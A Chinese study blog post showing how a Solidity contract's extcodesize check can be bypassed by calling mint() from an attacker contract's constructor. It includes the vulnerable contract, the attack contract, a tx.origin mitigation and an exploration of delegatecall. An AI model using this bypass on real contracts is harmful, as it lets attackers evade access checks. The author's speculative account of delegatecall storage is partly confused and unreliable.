每天进步一点点
这几天学习了 绕过合约检查攻击 并深入理解了delegatecall
原理:
一些合约会在函数里面检查msg.sender是否为一个合约地址,通过extcodesize > 0,如果大于0,则为一个合约地址(如果一个地址是合约地址,那么这个地址索引的内存就有代码,那么extcodesize就会大于0)。问题出在,在一个合约部署时,constructor里面,extcodesize = 0。攻击者就可以在合约的constructor里面调用被攻击合约的mint函数,从而绕过检查。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract A is ERC20{
constructor()ERC20("",""){}
//check a address is a contract
function checkContract(address addr)public view returns(bool){
uint size;
//以太坊的内联汇编语言
assembly{
size := extcodesize(addr)
}
return size > 0;
}
//mint
function mint(address to_,uint amount_)external {
require(!checkContract(to_),"address is a contract address");
_mint(to_, amount_);
}
}
contract Attack{
//get contract attacked address
A public a;
//vertify ths bool is the address(this)`s code is empty
bool public isContract;
constructor(address addr){
a = A(addr);
//get ths bool is the address(this)`s code is empty
isContract = a.checkContract(address(this));
//the code of address(this) is empty while ths contract is creating by constructor
a.mint(address(this), 100);
}
//text the mint after the constructor
function badMint()external{
a.mint(address(this), 100);
}
}
注:
1,如何避免,如果一个合约想要绕过检查来与合约交互,肯定需要外部地址来调用,我们就可以通过检查tx.origin == msg.sender 加 extcodesize > 0 来判断一个地址是否为合约地址。如:
//mint
function mint(address to_,uint amount_)external {
require(!checkContract(to_),"address is a contract address");
require(tx.origin == msg.sender,"address is a contract address");
_mint(to_, amount_);
}
然后再部署Attack合约时就会部署失败,可以看到预防成功。
思考:
1,梳理一下逻辑,用户调用A合约,A合约调用B合约的mint()。整个过程中tx.origin为用户,mint()中msg.sender为A合约地址。
2,但是如果我们在A合约中调用B合约时,使用delegate调用,就可以让msg.sender为用户,是不是就可以重新通过检查,然后mint成功
3,结果我试了一下,整个函数调用过程成功了,但是在B合约中查询A合约地址的balance,神奇的是啥也没有。(真抓马)
原因:
call调用:mint()被调用的是在B合约环境下被执行
delegatecall:mint()被调用的是在A合约的环境下执行
我的理解是delegatecall会让A合约将B合约下的mint()函数copy到A合约下,然后在A合约下的环境被执行。如果mint()函数会操作一些B合约有的状态变量而A合约没有的状态变量。那么A合约就会找一遍自己有没有,如果有,则修改自己的。没有则添加(这里我尝试拿到A合约自己添加的状态变量的索引,试图访问一下。结果短时间并没有找到什么方法。所以打算等深入学习了EVM后再来解决这个问题)。
验证过程:
我在A合约下添加了一个跟B合约同名的状态变量,然后再A合约调用B合约的mint(),结果A合约下的状态变量成功修改。验证成功。以下是代码。
contract A{
mapping(address => uint256) public balanceOf;
function f1(address addr)public returns(address){
mint(addr,100);
return addr;
}
function mint(address addr,uint256 amount)public{
balanceOf[addr] = amount;
}
}
contract B{
mapping(address => uint256) public balanceOf;
//获得A合约的实例
A a;
function delegatecallf1() public returns(address,bool){
(bool success,bytes memory data) = address(a).delegatecall(//call是地址类型的方法,必须转换为地址类型
abi.encodeWithSignature("f1(address)",address(this))
);
return (abi.decode(data, (address)),success);
}
constructor(A a_){
a = a_;
}
}
部署A,B合约以后, 查看A,B合约下A的balanceOf
调用A合约delegatecallf1()后,然后查看A合约下balanceOf变了,B合约下还是没有变
delelgatecall调用返回信息 A合约下的balanceOf B合约下的balanceOf
感觉如果没有了解delegatecall的话,还是容易出现貔貅一样的东西,只进不出。就像上个例子一样攻击者用delegatecall,虽然绕过了检查,但是什么也拿不到。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!